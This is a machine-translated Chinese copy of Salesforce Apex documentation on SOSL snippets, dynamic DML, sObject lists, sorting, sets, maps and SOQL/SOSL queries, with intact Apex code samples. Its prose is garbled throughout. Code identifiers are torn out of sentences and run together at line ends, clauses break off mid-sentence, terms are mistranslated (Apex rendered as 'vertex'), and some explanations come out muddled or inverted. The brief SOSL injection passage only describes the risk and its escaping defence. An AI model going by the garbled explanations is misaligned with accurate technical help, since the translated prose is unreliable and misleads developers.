若要为搜索结果中的记录提供更多上下文,请使用 SOSL 子句。片段使 确定您要查找的内容。有关代码段如何的信息 生成,请参阅 SOQL 和 SOSL 参考中的 WITH SNIPPET。WITH SNIPPET要在 动态 SOSL 查询,请使用该方法。

WITH SNIPPETSearch.find

Search.SearchResults searchResults = Search.find(SOSL_search_string);

此示例执行包含子句的简单 SOSL 查询字符串。该示例调用打印返回的标题和 片段。您的代码将在网页中显示标题和代码段。WITH SNIPPETSystem.debug()

Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING 
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\') WITH SNIPPET (target_length=120)');
 
List<Search.SearchResult> articlelist = searchResults.get('KnowledgeArticleVersion');

for (Search.SearchResult searchResult : articleList) { 
	KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject(); 
	System.debug(article.Title); 
	System.debug(searchResult.getSnippet()); 
}

SOSL注入

SOSL注入是一种技术,用户通过该技术 使应用程序执行您不希望通过传递的数据库方法 SOSL 语句添加到代码中。每当 应用程序依赖于最终用户输入来构造动态 SOSL 语句和 您没有正确处理输入。

为防止SOSL注入,请使用该方法。此方法 将转义字符 (\) 添加到字符串中的所有单引号中,即 从用户传入。该方法确保所有单引号都 被视为封闭字符串,而不是数据库命令。escapeSingleQuotes

动态 DML

除了查询、描述信息和构建 SOQL 在运行时查询,还可以动态创建 sObjects,以及 使用 DML 将它们插入到数据库中。

若要创建给定类型的新 sObject,请在 sObject 令牌上使用该方法。 请注意,令牌必须转换为具体的 sObject 类型(例如 作为帐户)。例如:newSObject

// Get a new account
Account a = new Account();
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();

虽然 sObject 令牌是 Account 的令牌, 它被视为 sObject,因为它是单独访问的。它必须被重新转换回 具体 sObject 类型 Account 来使用该方法。 有关强制转换的更多信息,请参见类和强制转换tokenAnewSObject

您还可以指定一个 ID,以创建引用现有 记录,以便以后更新。例如:newSObject

SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
                                       newSObject([SELECT Id FROM Account LIMIT 1][0].Id);

请参见SObjectType 类。

动态 sObject 创建示例

此示例演示如何通过 方法,然后使用令牌上的方法创建新的 sObject。Schema.getGlobalDescribenewSObject此示例还包含一个测试方法,该方法 验证帐户的动态创建。

public class DynamicSObjectCreation {
    public static sObject createObject(String typeName) {
        Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
        if (targetType == null) {
            // throw an exception
        }
        
        // Instantiate an sObject with the type passed in as an argument
        //  at run time.
        return targetType.newSObject(); 
    }
}
@isTest
private class DynamicSObjectCreationTest {
    static testmethod void testObjectCreation() {
        String typeName = 'Account';
        String acctName = 'Acme';
        
        // Create a new sObject by passing the sObject type as an argument.
        Account a = (Account)DynamicSObjectCreation.createObject(typeName);        
        System.assertEquals(typeName, String.valueOf(a.getSobjectType()));
        // Set the account name and insert the account.
        a.Name = acctName;
        insert a;

        // Verify the new sObject got inserted.
        Account[] b = [SELECT Name from Account WHERE Name = :acctName];
        system.assert(b.size() > 0);
    }
}

设置和检索 字段值

在对象上使用 and 方法,以使用 API 名称 表示为 String 的字段,或字段的标记。在以下示例中,API 名称 字段用于:getputAccountNumber

SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');

以下示例改用字段的令牌:AccountNumber

Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getsObjectField(), '12345');

Object 标量数据类型可用作泛型 数据类型,用于设置或检索 sObject 上的字段值。这是等效的 更改为 anyType 字段类型。 请注意,Object 数据类型与 sObject 数据不同 type,可用作任何 sObject 的泛型类型。

注意

使用 API 版本 15.0 保存(编译)的 Apex 类和触发器 如果为字段分配的 String 值太长,则更高会产生运行时错误。

设置和检索 外键

Apex 支持按名称(或外部 ID)填充外键,其方式与 API 相同。要设置 或检索外键的标量 ID 值,使用 or 方法。getput

若要设置或检索与外键关联的记录,请使用 和 方法。请注意,这些方法必须与 sObject 数据一起使用 类型,而不是 Object。例如:getSObjectputSObject

SObject c = 
   Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');

使用子项时,无需为父级 sObject 值指定外部 ID s对象。如果在父 sObject 中提供 ID,则 DML 操作将忽略该 ID。顶点 假设外键是通过关系 SOQL 查询填充的,该查询始终返回 具有填充 ID 的父对象。如果您有 ID,请将其与子对象一起使用。

例如,假设自定义对象 C1 具有链接到父自定义对象 C2 的外键。您想要创建一个 C1 对象,并将其与名为“AW Computing”的 C2 记录相关联(分配给 值)。您不需要 “AW Computing”记录,因为它是通过父级与 孩子。例如:C2__cC2__r

insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));

如果已为 的 ID 赋值,则 将被忽略。如果确实有 ID,请将其分配给对象 (),而不是记录。C2__rC2__c您还可以使用动态 Apex 访问外键。以下示例演示如何获取 使用动态的父子关系中子查询的值 顶点:

String queryString = 'SELECT Id, Name, ' + 
           '(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
         
for (SObject parentRecord : queryParentObject){ 
    Object ParentFieldValue = parentRecord.get('Name'); 
    // Prevent a null relationship from being accessed
    SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
    if (childRecordsFromParent != null) {
        for (SObject childRecord : childRecordsFromParent){ 
            Object ChildFieldValue1 = childRecord.get('FirstName'); 
            Object ChildFieldValue2 = childRecord.get('LastName'); 
            System.debug('Account Name: ' + ParentFieldValue + 
            '. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
        }
    }              
}

sObject 集合

您可以在列表、集和映射中管理 sObject。

  • sObjects 列表 列表可以包含其他类型的元素中的 sObjects
    。sObject 列表可用于批量处理数据。
  • 对 sObject 列表进行排序 使用该方法,可以对 sObject
    列表进行排序。List.sort
  • 扩展 sObject 和列表表达式
  • 对象
    集 集可以包含 sObject 以及其他类型的元素。
  • sObject 映射映射键和值可以是任何数据类型,包括 sObject
    类型,例如 Account。

sObject 列表

列表可以包含其他类型的元素中的 sObjects。 sObject 列表可用于批量处理数据。

您可以使用列表来存储 sObjects。列表在工作时很有用 使用 SOQL 查询。SOQL 查询返回 sObject 数据和此数据 可以存储在 sObject 列表中。此外,您可以使用列表来执行 批量操作,例如通过一次调用插入 sObject 列表。

若要声明 sObject 列表,请使用关键字后跟 sObject 键入 <> 个字符以内。例如:List

// Create an empty list of Accounts
List<Account> myList = new List<Account>();

从 SOQL 查询自动填充列表

您可以将 List 变量直接分配给 SOQL 查询的结果。SOQL 查询返回一个 使用返回的记录填充的新列表。确保声明的 List 变量 包含正在查询的相同 sObject。或者,您可以使用通用的 sObject 数据 类型。

此示例演示如何声明和分配帐户列表 更改为 SOQL 查询的返回值。查询最多返回 1,000 个 返回包含 Id 和 Name 字段的帐户记录。

// Create a list of account records from a SOQL query
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];

添加和检索列表元素

与原始数据类型列表一样,您可以使用 Apex 提供的方法访问和设置 sObject 列表的元素。例如:List

List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a);                    // Add the account sObject
Account a2 = myList.get(0);      // Retrieve the element at index 0

批量处理

您可以通过将列表传递给 DML 操作来批量处理 sObject 列表。这 示例演示如何插入 帐户。

// Define the list
List<Account> acctList = new List<Account>(); 
// Create account sObjects
Account a1 = new Account(Name='Account1'); 
Account a2 = new Account(Name='Account2'); 
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;

注意

如果批量插入知识文章版本,请将所有 记录相同。

记录 ID 生成

Apex 会自动为插入或更新插入的 sObject 列表中的每个对象生成 ID 使用 DML。因此,包含多个 sObject 实例的列表不能 即使它有 ID,也会插入或更新插入。这种情况意味着需要将两个 ID 写入相同的 ID 内存中的结构,这是非法的。null

例如,以下代码块中的语句生成 a 因为它 尝试插入一个列表,其中包含对同一 sObject () 的两个引用:insertListExceptiona

try {

   // Create a list with two references to the same sObject element
   Account a = new Account();
   List<Account> accs = new List<Account>{a, a};

   // Attempt to insert it...
   insert accs;

   // Will not get here
   System.assert(false);
} catch (ListException e) {
   // But will get here
}

对 s对象

或者,您可以使用数组表示法(正方形 括号)来声明和引用 sObject 的列表。此示例使用数组声明帐户列表 表示法。

Account[] accts = new Account[1];

以下示例使用方括号向列表中添加一个元素。

accts[0] = new Account(Name='Acme2');

这些示例还将数组表示法用于 sObject 列表。

描述
List<Account> accts = new Account[]{};定义不带元素的帐户列表。
List<Account> accts = new Account[] {new Account(), null, new Account()};定义一个 Account 列表,其中包含为三个 Account 分配的内存:一个新的 Account 对象 第一个位置,在第二个位置, 以及第三个中的另一个新 Account 对象。null
List<Contact> contacts = new List<Contact> (otherList);使用新列表定义联系人列表。

对 sObject 列表进行排序

使用该方法,您可以排序 sObject 的列表。

List.sort

对于 sObjects,排序按升序排列,并使用一系列比较步骤 在下一节中概述。您可以通过以下方式为 sObjects 创建自定义排序顺序 将 sObject 包装在实现接口的 Apex 类中。您还可以创建自定义 通过将作为参数实现的类传递给 sort 方法来排序顺序。请参阅 sObject 的自定义排序顺序。ComparableComparator

sObjects 的默认排序顺序

该方法对 sObjects 进行排序 升序并使用有序的步骤序列比较 sObjects 指定使用的标签或字段。比较从第一步开始 序列,并在使用指定的标签或字段对两个 sObject 进行排序时结束。这 以下是使用的比较顺序:

List.sort

  1. sObject 类型的标签。例如,将显示 Account sObject 在联系人之前。
  2. “名称”字段(如果适用)。例如,如果列表包含两个 名为 Alpha 和 Beta 的帐户,帐户 Alpha 在帐户之前 试用版。
  3. 标准字段,从按字母顺序排在第一位的字段开始 顺序,但 Id 和 Name 字段除外。例如,如果两个帐户 具有相同的名称,用于排序的第一个标准字段是 帐号。
  4. 自定义字段,从按字母顺序排在第一位的字段开始 次序。例如,假设两个帐户具有相同的名称和 相同的标准字段,并且有两个自定义字段,FieldA 和 FieldB,首先使用 FieldA 的值进行排序。

并非必须执行此序列中的所有步骤。例如,列表 包含两个相同类型且具有唯一 Name 值的 sObject 的排序依据 ,排序在步骤 2 处停止。否则,如果名称相同 或者 sObject 没有 Name 字段,则排序将转到步骤 3 进行排序 按标准字段。

对于文本字段,排序算法使用 Unicode 排序 次序。此外,在排序顺序中,空字段位于非空字段之前。

下面是对帐户 sObject 列表进行排序的示例。此示例演示 Name 字段用于将 Acme 帐户置于 列表。由于有两个名为 sForce 的帐户,因此 Industry 字段用于排序 这些剩余的帐户,因为 “行业 ”字段位于 按字母顺序排列。

Account[] acctList = new List<Account>();        
acctList.add( new Account(
    Name='sForce',
    Industry='Biotechnology',
    Site='Austin'));
acctList.add(new Account(
    Name='sForce',
    Industry='Agriculture',
    Site='New York'));
acctList.add(new Account(
    Name='Acme'));
System.debug(acctList);

acctList.sort();
Assert.areEqual('Acme', acctList[0].Name);
Assert.areEqual('sForce', acctList[1].Name);
Assert.areEqual('Agriculture', acctList[1].Industry);
Assert.areEqual('sForce', acctList[2].Name);
Assert.areEqual('Biotechnology', acctList[2].Industry);
System.debug(acctList);

此示例与上一个示例类似,只不过它使用了 Merchandise__c 自定义对象。此示例演示如何使用 Name 字段来放置笔记本 商品在列表中排在钢笔之前。因为商品有两个 sObject 对于“笔”的“名称”字段值,“说明”字段用于对它们进行排序 剩余商品。“说明”字段用于排序,因为它 按字母顺序位于 Price 和 Total_Inventory 字段之前。

Merchandise__c[] merchList = new List<Merchandise__c>();        
merchList.add( new Merchandise__c(
    Name='Pens',
    Description__c='Red pens',
    Price__c=2,
    Total_Inventory__c=1000));
merchList.add( new Merchandise__c(
    Name='Notebooks',
    Description__c='Cool notebooks',
    Price__c=3.50,
    Total_Inventory__c=2000));
merchList.add( new Merchandise__c(
    Name='Pens',
    Description__c='Blue pens',
    Price__c=1.75,
    Total_Inventory__c=800));
System.debug(merchList);

merchList.sort();
Assert.areEqual('Notebooks', merchList[0].Name);
Assert.areEqual('Pens', merchList[1].Name);
Assert.areEqual('Blue pens', merchList[1].Description__c);
Assert.areEqual('Pens', merchList[2].Name);
Assert.areEqual('Red pens', merchList[2].Description__c);
System.debug(merchList);

sObjects 的自定义排序顺序

若要为列表中的 sObject 创建自定义排序顺序,请实现接口并将其作为参数传递 到方法。ComparatorList.sort

或者,为 sObject 创建一个包装类并实现接口。包装类包含 所讨论的 sObject 并实现指定排序逻辑的方法。ComparableComparable.compareTo

此示例实现基于“金额”字段比较两个商机的接口。Comparator

public class OpportunityComparator implements Comparator<Opportunity> {
    public Integer compare(Opportunity o1, Opportunity o2) {
        // The return value of 0 indicates that both elements are equal.
        Integer returnValue = 0;
        
        if(o1 == null && o2 == null) {
            returnValue = 0;
        } else if(o1 == null) {
            // nulls-first implementation
            returnValue = -1; 
        } else if(o2 == null) {
            // nulls-first implementation
            returnValue = 1;
        } else if ((o1.Amount == null) && (o2.Amount == null)) {
            // both have null Amounts
            returnValue = 0;
        } else if (o1.Amount == null){
            // nulls-first implementation
            returnValue = -1;
        } else if (o2.Amount == null){
            // nulls-first implementation
            returnValue = 1;
        } else if (o1.Amount < o2.Amount) {
            // Set return value to a negative value.
            returnValue = -1;
        } else if (o1.Amount > o2.Amount) {
            // Set return value to a positive value.
            returnValue = 1;
        }
        return returnValue;
    }
}

此测试对对象列表进行排序 并验证列表元素是否按商机数量排序。Comparator

@isTest
private class OpportunityComparator_Test {
 
    @isTest
    static void sortViaComparator() {
        // Add the opportunity wrapper objects to a list.
        List<Opportunity> oppyList = new List<Opportunity>();
        Date closeDate = Date.today().addDays(10);
        oppyList.add( new Opportunity(
            Name='Edge Installation',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=50000));
        oppyList.add( new Opportunity(
            Name='United Oil Installations',
            CloseDate=closeDate,
            StageName='Needs Analysis',
            Amount=100000));
        oppyList.add( new Opportunity(
            Name='Grand Hotels SLA',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=25000));
        oppyList.add(null);
        
        // Sort the objects using the Comparator implementation
        oppyList.sort(new OpportunityComparator());
        // Verify the sort order
        Assert.isNull(oppyList[0]);
        Assert.areEqual('Grand Hotels SLA', oppyList[1].Name);
        Assert.areEqual(25000, oppyList[1].Amount);
        Assert.areEqual('Edge Installation', oppyList[2].Name);
        Assert.areEqual(50000, oppyList[2].Amount);
        Assert.areEqual('United Oil Installations', oppyList[3].Name);
        Assert.areEqual(100000, oppyList[3].Amount);
        // Write the sorted list contents to the debug log.
        System.debug(oppyList);
    }
}

此示例演示如何为 Opportunity 创建包装类。此类中该方法的实现比较了两个 基于“金额”字段的商机 – 包含的类成员变量 在本例中,将 Opportunity 对象传递到方法中。ComparablecompareTo

public class OpportunityWrapper implements Comparable {

    public Opportunity oppy;
    
    // Constructor
    public OpportunityWrapper(Opportunity op) {
    	// Guard against wrapping a null 
    	if(op == null) {
    		Exception ex = new NullPointerException();
    		ex.setMessage('Opportunity argument cannot be null'); 
    		throw ex;
    	}
        oppy = op;
    }
    
    // Compare opportunities based on the opportunity amount.
    public Integer compareTo(Object compareTo) {
        // Cast argument to OpportunityWrapper
        OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;
        
        // The return value of 0 indicates that both elements are equal.
        Integer returnValue = 0;
        if ((oppy.Amount == null) && (compareToOppy.oppy.Amount == null)) {
            // both wrappers have null Amounts
            returnValue = 0;
        } else if ((oppy.Amount == null) && (compareToOppy.oppy.Amount != null)){
            // nulls-first implementation
            returnValue = -1;
        } else if ((oppy.Amount != null) && (compareToOppy.oppy.Amount == null)){
            // nulls-first implementation
            returnValue = 1;
        } else if (oppy.Amount > compareToOppy.oppy.Amount) {
            // Set return value to a positive value.
            returnValue = 1;
        } else if (oppy.Amount < compareToOppy.oppy.Amount) {
            // Set return value to a negative value.
            returnValue = -1;
        } 
        return returnValue;
    }
}

此测试对对象列表进行排序,并验证列表元素是否按商机排序 量。OpportunityWrapper

@isTest 
private class OpportunityWrapperTest {
    static testmethod void test1() {
        // Add the opportunity wrapper objects to a list.
        OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
        Date closeDate = Date.today().addDays(10);
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='Edge Installation',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=50000)));
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='United Oil Installations',
            CloseDate=closeDate,
            StageName='Needs Analysis',
            Amount=100000)));
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='Grand Hotels SLA',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=25000)));
        
        // Sort the wrapper objects using the implementation of the 
        // compareTo method.
        oppyList.sort();
        
        // Verify the sort order
        Assert.areEqual('Grand Hotels SLA', oppyList[0].oppy.Name);
        Assert.areEqual(25000, oppyList[0].oppy.Amount);
        Assert.areEqual('Edge Installation', oppyList[1].oppy.Name);
        Assert.areEqual(50000, oppyList[1].oppy.Amount);
        Assert.areEqual('United Oil Installations', oppyList[2].oppy.Name);
        Assert.areEqual(100000, oppyList[2].oppy.Amount);
        
        // Write the sorted list contents to the debug log.
        System.debug(oppyList);
    }
}

扩展 sObject 和列表表达式

与 Java 一样,可以使用 method 扩展 sObject 和 list 表达式 引用和列表表达式,以形成新的表达式。在以下示例中,包含长度的新变量 的新帐户名称分配给 。

acctNameLength

Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();

在上面,生成一个列表。new Account[]

该列表由语句填充一个元素。new{new Account(name=’Acme’)}

项目 0 是列表中的第一项,然后由下一个项目访问 字符串的一部分。[0]

访问列表中 sObject 的名称,后跟 返回长度的方法。name.length()在以下示例中,已移至 lower 的名称 大小写。SOQL 语句返回一个列表,其中第一个元素(索引为 0) 可通过 访问。 接下来,访问“名称”字段并将其转换为小写 表达。

[0].Name.toLowerCase()

String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();

对象集

集合可以包含 sObject 以及其他类型的元素。集合包含独特的元素。确定 sObject 的唯一性 通过比较对象的字段。例如,如果您尝试 将两个同名的帐户添加到一个集合中,没有其他字段 set,则该集合中仅添加一个 sObject。

// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');

// Add both accounts to the new set 
Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);

如果您向其中一个帐户添加描述,则会将其视为 唯一,并且两个帐户都会添加到集合中。

// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');

// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);

警告

如果 set 元素是对象,并且这些对象 添加到集合后更改,则找不到它们 例如,在使用 OR 方法时,由于字段值已更改。containscontainsAll

sObjects 的映射

映射键和值可以是任何数据类型,包括 sObject 类型,例如 Account。映射可以在其键和值中保存 sObject。地图键 表示映射到映射值的唯一值。例如,一个 通用键是映射到帐户的 ID(特定的 sObject 类型)。此示例演示如何定义其键类型为 ID,其值的类型为 Account。

Map<ID, Account> m = new Map<ID, Account>();

与基元类型一样,您可以在以下情况下填充映射键值对 映射是使用大括号 () 语法声明的。在大括号内, 首先指定键,然后使用 指定该键的值。本示例创建 将整数添加到帐户列表,并使用帐户列表添加一个条目 创建时间较早。{}=>

Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};

映射允许在其键中使用 sObject。仅当 sObject 字段时,才必须在键中使用 sObject 值不会改变。

从 SOQL 查询自动填充映射条目

使用 SOQL 查询时,可以从 SOQL 返回的结果填充映射 查询。映射键必须使用 ID 或 String 数据类型声明,并且映射 value 必须声明为 sObject 数据类型。此示例演示如何从查询填充新映射。在 例如,SOQL 查询返回带有其 和 字段的帐户列表。操作员使用返回的帐户列表来创建地图。

IdNamenew

// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keyset()) {
    Account a = m.get(idKey);
    System.debug(a);
}

此映射类型的一种常见用法是内存中 两个表之间的“联接”。

注意

作为多个社区成员的用户的最近查看的记录不能是 通过 Apex 自动检索到地图中。这是因为用户的记录 不同的网络可能会导致地图不支持的重复 ID。查看更多 信息,请参阅最近查看

使用 Map 方法

该类公开了各种方法 可用于处理地图元素,例如添加、删除、 或检索元素。此示例使用 Map 方法添加新元素 并从地图中检索现有元素。此示例还检查 对于键的存在,并获取所有键的集合。地图在 此示例有一个元素,其中包含一个整数键和一个帐户值。Map

Account myAcct = new Account();                        //Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct);                  // Insert a new key-value pair in the map
System.assert(!m.containsKey(3));  // Assert that the map contains a key
Account a = m.get(1);              // Retrieve a value, given a particular key
Set<Integer> s = m.keySet();       // Return a set that contains all of the keys in the map
  • sObject 映射注意事项

sObject 映射注意事项

使用 sObject 作为映射键时要小心。sObject 的键匹配 基于所有 sObject 字段值的比较。如果一个或 将 sObject 添加到地图后,更多字段值发生变化,尝试 要从映射中检索此 sObject,则返回 。这是因为修改后的 由于字段值不同,在映射中找不到 sObject。 如果显式更改 sObject 上的字段,或者 如果系统隐式更改了 sObject 字段;例如 插入 sObject 后,sObject 变量具有 ID 字段 自动填充。尝试从它所到的映射中获取此对象 在操作不会生成映射条目之前添加,如本示例所示。

nullinsert

// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer> m = new Map<sObject, Integer>{
a1 => 1};
    
// Get a1's value from the map.
// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);

// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);

// Get a1's value from the map again.
// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));

另一种情况 其中自动填充的 sObject 字段位于触发器中,例如,当 对 sObject 使用插入触发器之前和之后。如果这些触发器 共享一个类中定义的静态映射,并将 中的 sObject 添加到该映射中 在 before 触发器中,在 after 触发器中找不到 映射,因为两组 sObject 的字段不同 是自动填充的。after 触发器中的 sObjects 在插入后填充了系统字段, 即:ID、CreatedDate、CreatedById、LastModifiedDate、LastModifiedById、 和 SystemModStamp。

Trigger.NewTrigger.NewTrigger.New

ref

SOQL 和 SOSL 查询

您可以评估 Salesforce 对象查询语言 (SOQL) 或 Salesforce 对象搜索 语言 (SOSL) 语句在 Apex 中动态,方法是将语句括在正方形中 括弧。

SOQL 语句

SOQL 语句的计算结果为方法查询的 sObjects、单个 sObject 或 Integer 列表。count例如,您可以检索名为 顶点:

List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];

从 此列表,您可以访问个人 元素:

if (!aa.isEmpty()) {
   // Execute commands
}

您还可以从现有对象的 SOQL 查询创建新对象。这个例子 为第一个客户创建一个新联系人,其员工数量较多 比 10.

Contact c = new Contact(Account = [SELECT Name FROM Account 
    WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';

这 新创建的对象包含其字段的 NULL 值,必须设置这些值。该方法可用于返回 查询返回的行数。以下示例返回总数 姓氏为 魏斯曼:

count

Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];

你 也可以使用标准对结果进行操作 算术:

Integer j = 5 * [SELECT COUNT() FROM Account];

执行 SOQL 查询时适用 SOQL 限制。请参阅执行调控器和限制。

有关 SOQL 查询语法的完整说明,请参阅 Salesforce SOQL 和 SOSL 参考 指南。

SOSL 声明

SOSL 语句的计算结果为 sObject 列表,其中每个列表都包含 特定 sObject 类型的搜索结果。始终返回结果列表 其顺序与在 SOSL 查询中指定的顺序相同。如果 SOSL 查询没有 返回指定 sObject 类型的任何记录,搜索结果中包括一个空的 该 sObject 的列表。例如,您可以返回客户、联系人、商机和潜在顾客的列表 以短语开头 地图:

List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead];

注意Apex 中子句的语法不同于 SOAP API 和 REST API 中子句的语法:

FINDFIND

  • 在 Apex 中,子句的值用单引号分隔。为 例:FINDFIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead注意
  • 在 API 中,子句的值用大括号分隔。为 例:FINDFIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

顶点 在系统模式下运行会忽略字段级安全性,而 使用 扫描匹配项。IN ALL FIELDS从 中,您可以为 每个对象 返回:

searchList

Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);

执行 SOSL 查询时适用 SOSL 限制。请参阅执行调控器和限制。

有关 SOSL 查询语法的完整说明,请参阅 Salesforce SOQL 和 SOSL 参考 指南。

  1. 使用 SOQL 和 SOSL 查询结果
  2. 通过关系访问 sObject 字段
  3. 了解外键和父子关系 SOQL 查询
  4. 使用 SOQL 聚合函数
  5. 使用非常大的 SOQL 查询
  6. 使用返回一条记录的 SOQL 查询
  7. 通过避免 null 值来提高性能
  8. 在 SOQL 查询
    中使用多态关系 多态关系是对象之间的关系,其中引用的对象可以是几种不同类型的类型之一。例如,任务的关系字段可以是联系人或潜在顾客。Who
  9. 在 SOQL 和 SOSL 查询中使用 Apex 变量
  10. 使用 SOQL 语句查询所有记录

使用 SOQL 和 SOSL 查询结果

SOQL 和 SOSL 查询仅返回 sObject 字段的数据 在原始查询中被选中。如果您尝试访问的字段 未在 SOQL 或 SOSL 查询中选择(ID 除外),您会收到 运行时错误,即使该字段包含数据库中的值也是如此。 下面的代码示例会导致运行时错误:

insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

以下是重写的相同代码示例,因此它不会 产生运行时错误。请注意,已作为 select 语句的一部分添加在 之后。NameId

insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

即使只选择了一个 sObject 字段,SOQL 或 SOSL 查询 始终将数据作为完整记录返回。因此,您必须取消引用 该字段以访问它。例如,此代码检索 带有 SOQL 查询的数据库中的 sObject 列表,访问 列表中的第一个客户记录,然后取消引用记录的字段:AnnualRevenue

Double rev = [SELECT AnnualRevenue FROM Account
              WHERE Name = 'Acme'][0].AnnualRevenue;

// When only one result is returned in a SOQL query, it is not necessary
// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
              WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;

唯一没有必要取消引用的情况 SOQL 查询结果中的 sObject 字段,是当查询 返回一个 Integer 作为操作的结果:COUNT

Integer i = [SELECT COUNT() FROM Account];

SOSL 查询返回的记录中的字段必须始终取消引用。

另请注意,包含公式的 sObject 字段在 发出了 SOQL 或 SOSL 查询。对公式中使用的其他字段所做的任何更改都不会 反映在公式字段值中,直到记录在 Apex 中保存并重新查询。喜欢 其他只读 sObject 字段,则公式字段本身的值不能在 顶点。

通过关系访问 sObject 字段

sObject 记录表示与其他记录的关系,具有两个字段:ID 和 地址,指向关联 sObject 的表示形式。例如, Contact sObject 具有 键入 ID 和 Account 类型的字段 指向关联的 sObject 记录本身。AccountIdAccount

ID 字段可用于更改与联系人关联的帐户, 而 sObject 引用字段可用于访问帐户中的数据。这 reference 字段仅作为 SOQL 或 SOSL 查询的结果进行填充(请参阅注释)。

例如,以下 Apex 代码显示了如何关联客户和联系人 ,然后如何使用联系人来修改 帐户:

注意

为了提供最完整的示例,此代码使用了一些描述的元素 本指南后面部分:

  • 有关 和 的信息,请参见 Insert 语句和 Update 语句。insertupdate
Account a = new Account(Name = 'Acme');
insert a;  // Inserting the record automatically assigns a 
           // value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;

// A SOQL query accesses data for the inserted contact, 
// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];

// Now fields in both records can be changed through the contact
c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';

// To update the database, the two types of records must be 
// updated separately
update c;         // This only changes the contact's last name
update c.Account; // This updates the account name

注意

表达式 ,以及任何其他 遍历关系的表达式,显示略有不同的特征 当它被读取为一个值时,而不是当它被修改时:c.Account.Name

  • 当作为值读取时,如果为 null,则计算结果为 ,但生成 .此设计允许开发人员导航 多个关系,无需检查 null 的乏味 值。c.Accountc.Account.NamenullNullPointerException
  • 修改时,如果是 null,则生成一个 .c.Accountc.Account.NameNullPointerException

在 SOSL 中,您可以以与 SELECT 类似的方式访问插入的联系人的数据 上一个 SOQL 中使用的语句 例。

List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING Contact(id,Account.Name)]

